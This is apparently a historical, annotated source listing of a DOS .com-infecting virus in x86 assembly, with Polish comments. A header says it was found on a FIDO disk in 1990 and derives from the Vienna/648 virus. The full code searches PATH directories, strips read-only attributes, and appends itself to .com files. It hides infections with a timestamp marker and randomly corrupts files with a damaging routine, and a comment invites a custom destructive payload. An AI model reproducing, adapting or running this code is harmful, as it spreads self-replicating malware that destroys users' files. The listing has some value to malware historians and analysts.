2022-08-21 09:07:57 +00:00
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; Kod <20>r<EFBFBD>d<EFBFBD>owy wirusa nieznanego autorstwa. Widoczne s<> silne wp<77>ywy 648.
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; Dodano w<>asne komentarze wskazuj<75>ce na r<><72>nice mi<6D>dzy t<> wersj<73> i orygina<6E>em.
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; Komentarze te poprzedzane s<> znakami AK:.
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; Tekst znaleziony na dysku komputera FIDO w PC Kurierze 28 wrze<7A>nia 1990.
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comment ;
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**********************************************************
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wszystkie adresy w programie sa uzywane jako wzgledne
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do rejestru si ,nie mozna urzywac adresow bezwzglednych
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jako offset poniewaz po 'doklejeniu sie do programu
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moze on byc w roznych miejscach
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**********************************************************
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;
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adr_baz equ offset stare_DTA ;adres bazowy poczatku zmiennych
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;w programie wzgledem niego beda
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;obliczane przesuniecia pol zmiennych
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start_prg equ 100h ;adres poczatku programu typu .com
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ofst_rozk equ offset rozkazy - adr_baz ;przsuniecie pola rozkazy
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get_dta_addr equ 2fh ;funkcja dos pobranie adresu DTA
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msdos equ 21h
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write equ 40h
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wirus_len equ DTA + 43 - start
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code segment byte public 'code'
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assume cs:code,ds:code,es:code
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org 100h
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st1: jmp short start
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int msdos
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start: mov dx,offset stare_DTA
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cld ;ustawienie kierunku przesylania
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mov si,dx ;poczatek zmiennych programu
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add si,ofst_rozk ;adres pola rozkazy
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mov di,100h ;adres pod ktorym jest poczatek programu
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mov cx,3 ;ilosc bajtow do przeslania
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repz movsb ;odtworzenie starego poczatku
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mov si,dx ;odtworzenie si
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; AK: pomini<6E>to badanie wersji DOS
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push es ;zachowanie es bo bedzie zmieniane
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mov ah,get_dta_addr ;pobierz adres DTA
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int msdos
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mov [si],bx ;zapamietanie adresu DTA w polu
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mov [si+2],es ;stare_DTA
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pop es ;odtworzenie es
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mov dx,5Fh ;adres pola DTA
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add dx,si
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mov ah,1Ah ;ustaw adres DTA ds:dx
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int msdos
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; AK: zmieniona jest kolejno<6E><6F> instrukcji, teraz do przechowania SI u<>yto
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; DX zamiast stosu
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push es ;zachowanie es
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push si ;zachowaj si
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add si,1ah ;adres tekstu PATH=
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mov dx,si
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mov es,ds:[2Ch] ;adres srodowiska set
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; AK: w oryginale jest to PUSH SI, POP SI
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mov di,0
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szukaj_dalej:
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mov si,dx
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lodsb
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mov cx,8000h ;dlugosc srodowiska
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repnz scasb ;szukanie litery P
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mov cx,4 ;dlugosc reszty ATH=
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porownuj:
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lodsb
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scasb
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jnz szukaj_dalej
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loop porownuj
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pop si ;odtworz rejestry
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pop es
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mov [si+16h],di ;adres pierwszego bajtu za PATH=
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mov di,si
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add di,1Fh ;adres bufora dla nazwy zbioru
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mov bx,si
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jmp short dalej
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nast_sciezka:
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cmp word ptr[si+16h],0 ;czy koniec path
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jnz l1 ;nie
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jmp exit1 ;zakoncz nie ma wiecej zbiorow
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l1: push ds
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push si
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mov ds,es:[2Ch] ;urzywamy es: bo ds bedzie modyfikowany
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mov di,si
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mov si,es:[di+16h]
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add di,1Fh
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next: lodsb ;zaladuj kolejny znak sciezki dostepu
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cmp al,';' ;czy koniec definicji scierzki
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jz koniec_sciezki
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cmp al,0 ;czy koniec lancucha path
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jz koniec_set
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stosb ;przepisz znak do bufora
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jmp short next
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koniec_set:
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mov si,0
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koniec_sciezki:
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pop bx
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pop ds
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mov [bx+16h],si ;adres do ktorego przeszukano path
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cmp byte ptr [di-1],'\' ;czy scierzka zakonczona przez \
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jz dalej
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mov al,'\'
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stosb ;dopisz \
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dalej: mov [bx+18h],di
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mov si,bx
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add si,10h
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mov cx,6
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repz movsb ;przepisanie *.com \0
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mov si,bx
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mov ah,4Eh ;find first
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mov dx,1Fh
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add dx,si
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mov cx,3 ;ukryty tylko do odczytu
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int msdos
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jmp short czy_jest
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szuk_nast:
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mov ah,4Fh ;find next
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int msdos
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czy_jest:
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jnc jest
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jmp short nast_sciezka
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jest: mov ax,[si+75h] ;pole zawierajace czas w DTA
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and al,1Fh ;czy sa 62 sekundy
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cmp al,1Fh
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jz szuk_nast
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cmp word ptr [si+79h],0FA00h
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ja szuk_nast ;jesli zbyt dlugi
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cmp word ptr [si+79h],10
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jc szuk_nast
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mov di,[si+18h]
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push si
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add si,7Dh
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kopiuj:
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lodsb ;kopiuje nazwe zbioru
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stosb ;nazwa w postaci ASCIIZ
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cmp al,0 ;czy koniec nazwy
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jnz kopiuj
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pop si
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mov ax,4300h ;pobierz atrybuty zbioru
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mov dx,1Fh
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add dx,si
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int msdos
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mov [si+8],cx ;zapamietanie atrybutow
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mov ax,4301h ;ustaw atrybuty
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and cx,0FFFEh ;usuwa ewentualne r/o
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mov dx,1Fh
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add dx,si
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int msdos
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mov ax,3D02h ;otwarcie zbioru
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mov dx,1Fh
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add dx,si
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int msdos
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jnc l2 ;czy poprawne otwarcie
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jmp exit2
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l2: mov bx,ax
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mov ax,5700h ;pobierz czas i date powstania zbioru
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int msdos
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mov [si+4],cx ;czas
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mov [si+6],dx ;data
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mov ah,2Ch ;pobierz czas systemowy
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int msdos
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and dh,7 ;sekundy
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jnz zostaw
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comment ;
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**********************************************************
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tutaj mozna umiescic dowolna procedure uszkadzajaca zbior
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ta wywolywana jest losowo jesli ostatnie trzy bity sekund
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zegara systemu sa rowne zero np. 8,16,24 itd.
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**********************************************************
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;
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mov ah,write ;zapis do zbioru
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mov cx,5 ;pieciu bajtow lezacych
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mov dx,si ;juz poza programem czyli
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add dx,8Ah ;faktycznie dowolnych
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int msdos
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jmp exit3
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;*********************************************************
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;koniec procedury uszkadzajacej zbior
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;*********************************************************
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zostaw: mov ah,3Fh ;odczyt trzech pierwszych
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mov cx,3 ;bajtow z pliku
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mov dx,ofst_rozk ;do pola rozkazy
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add dx,si
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int msdos
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jc exit3 ;jesli byl blad czytania
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cmp ax,3 ;czy odczytano dokladnie
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jnz exit3 ;trzy bajty
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mov ax,4202h ;przewiniecie zbioru na koniec
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mov cx,0
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mov dx,0
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int msdos
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jc exit3 ;jesli blad
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mov cx,ax ;w ax dlugosc zbioru
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sub ax,3
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;obiczanie przesuniecia dla skoku do poczatku wirusa
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;jest to adres konca zbioru minus 3 poniewaz
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;jmp jest trzy bajtowy
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mov [si+0Eh],ax ;zapis adresu w polu skok
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add cx,adr_baz - start + start_prg
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;obliczanie adresu poczatku danych (tego ktory jest w si)
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;jest to adres pola stare_DTA + 100h przesuniecia programu
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mov di,si
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sub di,adr_baz - start - 1
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mov [di],cx ;zapisanie adresu bezposrednio w pole
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;w pole rozkazu mov dx,offset
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mov ah,write ;dopisanie wirusa na koniec
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mov cx,wirus_len ;dlugosc wirusa
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mov dx,si
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sub dx,adr_baz - start ;obliczenie adresu poczatku wirusa
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int msdos
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jc exit3 ;jesli blad
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cmp ax,wirus_len ;czy zapisano calego wirusa
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jnz exit3
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mov ax,4200h ;przewiniecie zbioru na poczatek
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mov cx,0
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mov dx,0
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int msdos
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jc exit3 ;jesli blad
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mov ah,write ;zapis jmp do wirusa
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mov cx,3 ;na poczatku
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mov dx,si
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add dx,0Dh ;pole skok
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int msdos
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exit1: mov dx,[si+6] ;data
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mov cx,[si+4] ;czas
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or cx,1Fh ;zaznaczenie ze zbior jest zarazony
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;ilosc sekund = 62
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mov ax,5701h ;zapis daty i czasu do zbioru
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int msdos
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mov ah,3Eh ;zamkniecie zbioru
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int msdos
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exit2: mov ax,4301h ;ustawienie atrybutow
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mov cx,[si+8] ;stare atrybuty
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mov dx,001Fh
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add dx,si
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int msdos
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exit3: push ds
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mov ah,1Ah ;ustaw adres DTA
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mov dx,[si+0] ;pole stare_DTA
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mov ds,es:[si+2]
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int msdos
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pop ds
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xor ax,ax ;zerowanie rejestrow
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xor bx,bx
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xor dx,dx
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xor si,si
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mov di,0100h ;na stos adres startu
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push di
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xor di,di
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ret
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stare_DTA dd 0
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czas_zb dw 0
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data_zb dw 0
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attr_zb dw 0
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rozkazy db 0b4h,4ch,0cdh
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skok db 0e9h,0,0 ;kod rozkazu jmp
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zbior db '*.com',0
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srodow dw 0 ;adres srodowiska set
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bufor dw 0 ;wskaznik do nazwy zbioru
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path db 'PATH='
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nazwa_zb db 63 dup(0) ;pole na nazwe zbioru
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DTA db 43 dup(0) ;pole dta
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code ends
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end st1
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